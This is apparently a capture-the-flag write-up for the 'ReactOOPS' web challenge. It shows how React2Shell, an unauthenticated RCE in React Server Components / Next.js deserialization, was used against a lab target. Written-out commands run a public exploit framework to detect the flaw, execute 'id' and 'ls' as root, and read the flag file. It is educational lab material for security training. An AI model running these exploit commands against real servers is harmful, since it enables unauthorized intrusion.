Challenge Overview
| Field | Value |
|---|---|
| Name | ReactOOPS |
| Category | Web |
| Difficulty | Very Easy |
| Target | http://<IP>:PORT |
| Concept | React2Shell — unauthenticated RCE in React RSC / Next.js Flight deserialization (CVE-2025-55182 / CVE-2025-66478) |
Flag
| Type | Value |
|---|---|
| Challenge flag | [REDACTED] |
Reconnaissance / Analysis
- Opened the web application and viewed the page source / project files.
package.jsonrevealed the stack: Next.js 16.0.6 and React 19.- The package/challenge name is literally
react2shell— a direct pointer to CVE-2025-55182, an unauthenticated RCE in React Server Components (RSC) / Next.js via prototype pollution in the Flight deserializer.
Exploitation
Environment Setup
# Clone the react2shell exploit framework
git clone https://github.com/freeqaz/react2shell.git
# Make all scripts executable
chmod +x react2shell/*.sh
Phase 1 — Detection (non-destructive proof)
Confirm the server is vulnerable without causing damage.
cd react2shell
./detect.sh http://<IP>:PORT
The probe sends a multipart POST with a Next-Action: x header and the payload ["$1:a:a"] referencing an empty object {}. On a vulnerable server, JavaScript tries to access {}.a.a; the missing hasOwnProperty check crashes the render, returning HTTP 500 with an E{"digest"…} body — the React error format.
[*] HTTP Status: 500
[!] VULNERABLE - Server returned 500 with E{"digest" pattern
1:E{"digest":"346246470"}
Phase 2 — Remote Code Execution (PoC)
./exploit-redirect.sh -q http://<IP>:PORT "id"
The multipart payload embeds the command in a prototype-pollution reference; the server deserializes and executes it during processing, returning output via an HTTP 303 redirect.
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
The web server is running as root, which makes the flag trivially readable.
Phase 3 — Information Gathering
./exploit-redirect.sh -q http://<IP>:PORT "pwd"
# -> /app/.next/standalone
./exploit-redirect.sh -q http://<IP>:PORT "ls -la /app"
Directory structure:
/app/
├── .next/ # Next.js build output
├── node_modules/ # Dependencies
├── app/ # Application source
├── public/ # Static assets
├── flag.txt # TARGET FILE (mode 600)
├── package.json
└── tsconfig.json
The flag file is at /app/flag.txt with restrictive permissions (600) — readable because we run as root.
Phase 4 — Flag Extraction
./exploit-redirect.sh -q http://<IP>:PORT "cat /app/flag.txt"
FLAG FOUND
Techniques Demonstrated
- Stack fingerprinting via
package.json(Next.js 16.0.6 + React 19) - React2Shell (CVE-2025-55182 / CVE-2025-66478) — unauthenticated RCE via React RSC Flight deserialization + prototype pollution
- Multipart POST with
Next-Actionheader; command output exfiltrated via HTTP 303 redirect - Root-level code execution (web server misconfigured as
uid=0)
Tools Used
react2shell (detect.sh / exploit-redirect.sh), curl, browser (view-source)
← all writeups